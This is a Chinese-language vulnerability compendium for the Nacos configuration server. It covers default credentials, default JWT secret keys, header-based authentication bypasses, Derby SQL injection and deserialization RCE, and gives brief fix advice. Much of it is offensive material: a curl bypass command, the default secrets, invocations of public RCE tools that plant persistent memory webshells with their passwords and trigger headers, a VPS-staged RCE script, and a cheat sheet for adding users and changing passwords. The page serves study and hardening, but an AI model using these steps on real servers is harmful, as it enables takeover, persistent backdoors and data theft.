Nacos其他漏洞汇总¶
默认口令¶
- 获取nacos版本信息
- 访问nacos登录页面

默认口令为nacos/nacos
修复建议¶
使用强口令
未授权访问¶
由于系统默认未开启鉴权 导致未授权访问
查看用户信息

新建用户

成功登录

漏洞原理¶
默认未开启配置 nacos.core.auth.enabled

在auth/src/main/java/com/alibaba/nacos/auth/common/AuthConfigs.java类中,isAuthEnabled方法的返回值取决于nacos.core.auth.enabled (默认False)

在core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java类中,根据authConifgs.isAuthEnabled()的返回值默认为flase,所以这里默认跳过检查认证filter,直接进入filterchain的下一个filter

修复建议¶
配置文件修改为:nacos.core.auth.enabled=True
修改之后,再次尝试访问/nacos/v1/auth/users?pageNo=1&pageSize=1,回显WhitelabelErrorPage

默认JWT密钥-未授权访问¶
开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key的值(在Nacos<=2.2.0版本中,该值为默认值),则可以通过accessToken值来绕过权限。
### If turn on auth system:
nacos.core.auth.enabled=true
### The default token:
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
输入正确的账号密码,则后端会返回对应该用户的加密accessToken。
请求包
POST /nacos/v1/auth/users/login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://47.83.174.204:8848
Connection: keep-alive
Referer: http://47.83.174.204:8848/nacos/
Priority: u=0
username=nacos&password=nacos
响应包
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE
Content-Type: application/json;charset=UTF-8
Date: Sat, 26 Apr 2025 10:16:58 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 181
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
客户端得到此accessToken后会使用此Token再次请求后端服务器,及通过该用户身份登录。

漏洞利用¶

解析后发现payload只有用户名和时间戳,在我们已知jwt密钥的情况下,只需要替换时间戳,再将用户名替换为已知用户即可以任意用户的权限登录系统

修复建议¶
- 修改默认的nacos.core.auth.default.token.secret.key
- 升级nacos版本到2.2.0以上

Nacos身份认证serverIdentity绕过¶
更合适的说法是危险配置造成的鉴权不严
配置如下的时候就会造成这个绕过可用
### If turn on auth system:
nacos.core.auth.enabled=true
### Since 1.4.1, Turn on/off white auth for user-agent: nacos-server, only for upgrade from old version.
nacos.core.auth.enable.userAgentAuthWhite=false
### Since 1.4.1, worked when nacos.core.auth.enabled=true and nacos.core.auth.enable.userAgentAuthWhite=false.
### The two properties is the white list for auth and used by identity the request from other server.
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
### The default token (Base64 String) and len(key)>32:
nacos.core.auth.plugin.nacos.token.secret.key=MTIzNDU2Nzg5MTIzMTI0MzIxNDM2NTRmYmRmMzI0c2R2c2Rh
漏洞验证¶

在请求头中serverIdentity:security即可绕过jwt鉴权
漏洞原理¶
首先逻辑是根据前面的分析判断是否开启nacos.core.auth.enabled和是否开启userAgentAuthWhite,然后是判断配置文件是否配置了identity.key&identity.value
修复方案¶
这个算漏洞实在很勉强,因为identity.key&identity.value的值其实是自定义的。这个安全隐患更像弱口令。
Nacos请求头User-Agent绕过鉴权¶
在Nacos的鉴权管理中,有一项配置是通过User-Agent中是否包含Nacos-Server来进行判断请求是否来自其他服务端。
配置文件如下
同时在该配置的对应位置也可以看到开发者对此配置的作用做出了解释,1.4.1版本更新之后,这个配置仅支持老版本升级的情况。

漏洞验证¶
curl 'http://localhost:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H 'User-Agent: Nacos-Serverver'
直接用curl命令即可完成验证,在请求头中添加了UA:Nacos-Server的时候,即使没有其他任何认证,也可以获取到用户信息

漏洞原理¶
https://github.com/alibaba/nacos/issues/4701
相关代码文件是src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java
这里的逻辑也很简单,如果authConfigs.isEnableUserAgentAuthWhite()即配置文件中 nacos.core.auth.enable.userAgentAuthWhite 为true,就会获取请求头中UserAgent的值,然后判断是否是以字符串“Nacos-Server”为开头,若是则直接跳过鉴权。

修复建议¶
更改配置文件中默认选项
Derby未授权SQL注入¶
nacos带有一个嵌入式的小型数据库derby,而在版本<=1.4.0的默认配置部署nacos的情况下,它无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露
而CVE-2021-29442是因为最开始开发者没有为这个内存型数据库接口配置任何的访问控制引发的。

漏洞验证¶
sql参数后直接跟select语句即可:

当然进阶利用是可以直接用下方的代码来破解此处查出来的用户密码的,毕竟加密方式是公开的
package com.alibaba.nacos.console.utils;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
/**
* Password encoder tool.
*
* @author nacos
*/
public class PasswordEncoderUtil {
public static void main(String[] args) {
System.out.println(new BCryptPasswordEncoder().encode("nacos"));
}
public static Boolean matches(String raw, String encoded) {
return new BCryptPasswordEncoder().matches(raw, encoded);
}
public static String encode(String raw) {
return new BCryptPasswordEncoder().encode(raw);
}
}
漏洞原理¶
漏洞代码1.4.0的com/alibaba/nacos/core/auth/RequestMappingInfo.java#derbyOps没有任何校验,只要get访问路由/derby即可进行进入函数

而第一个if的值取决于是否standalone模式启动的nacos,所以在standalone模式启动nacos的话,默认就可以进入第一个if



第二个if也仅仅是判断了参数sql的值是否以"select"为字符串开头,然后就直接可以使用derby的查询功能了。
修复方案¶
参考1.4.1中此处的代码,添加了nacos/admin 的注解来限制仅管理员角色使用该接口(Nacos基于Spring Security来做了访问控制)

开启鉴权配置后即可做到限制未授权访问

Nacos Hessian 反序列化漏洞¶
由于7848端口采用hessian协议传输数据,反序列化未设置白名单导致存在RCE漏洞。
影响版本:1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3
Nacos 1.x在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响,但是集群模式受影响。然而,2.x版本无论单机或集群模式均默认开放7848端口。
主要受影响的是7848端口的Jraft服务。
漏洞验证¶
测试版本nacos 2.2.2
poc:https://github.com/c0olw/NacosRce
执行命令同时注入内存马

直接使用webshell管理工具进行链接即可
- 自动注入内存马并执行命令
java -jar NacosRce.jar Url Jraft端口 "Command"
java -jar NacosRce.jar http://192.168.90.1:8848/nacos 7848 "whoami"
- 只注入内存马
内存马说明¶
一、冰蝎内存马:
1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond
二、哥斯拉内存马:
1、需要设置请求头x-client-data:godzilla
2、设置Referer:https://www.google.com/
3、路径随意
4、密码是pass 和 key
三、CMD内存马:
1、需要设置请求头x-client-data:cmd
2、设置Referer:https://www.google.com/
3、请求头cmd:要执行的命令
v0.5版本实现了:
1、不出网漏洞利用
2、可多次发起漏洞利用
3、同时注入冰蝎/哥斯拉/CMD内存马
4、内存马对nacos多版本进行了兼容
其他说明¶
tips:
1、请用jdk1.8
2、适用于 Nacos 2.x <= 2.2.2
3、非集群的也能打哦
4、此内存马重启nacos依然存活
关于Windows
如用下面的方式执行,注入内存马时会生成临时文件 C:\Windows\Temp\nacos_data_temp 和 C:\Windows\Temp\nacos_data_temp.class 文件
java -jar NacosRce.jar http://192.168.90.1:8848 7848 "whoami" windows
如果没有在最后加 windows,临时文件会在 /tmp/nacos_data_temp /tmp/nacos_data_temp.class,所以权限足够的话,不指定windows也能打成功
windows 没打成功也许是因为没权限操作C盘或其他原因
Nacos RCE¶
这个漏洞涉及两个路径,其中derby其实就是CVE-2021-29441
测试版本:nacos1.4.0(2.3.2也成功),默认状态
下载poc:GitHub - FFR66/Nacos_Rce: 网传nacos_rce漏洞poc,并上传到vps上
- 在vps启动

默认会在5000端口打开服务
然后本地机器上执行poc
当系统为未授权访问时,可直接触发RCE
Nacos_Rce.py -t 192.168.67.129 -p 5000 -u http://192.168.67.134:8848 -c whoami
#-t vps ip
#-p 端口地址
#-u nacos web地址
# -c 指定命令

如果显示未知用户或者未找到用户,则表示nacos启用了鉴权需要伪造JWT绕过登陆授权,在文件Nacos_Rce.py文件中设置请求头即可。只要能够绕过登陆授权,就可能能RCE。

Nacos常用命令¶
http://127.0.0.1:8848/nacos/v1/console/server/state http://xx.xx.xx.xx/v1/console/server/state http://127.0.0.1:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=9 get查询用户 curl -v --data-binary "username=test&password=123456" "http://127.0.0.1:8848/nacos/v1/auth/users" post添加用户 curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -d 'username=test&newPassword=test123' 修改密码 http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99 获取配置信息 http://127.0.0.1:8848/nacos/v1/core/cluster/nodes 获取集群信息 curl --data-binary "username=nacos&password=nacos" "http://127.0.0.1:8848/nacos/v1/auth/users/login" 登陆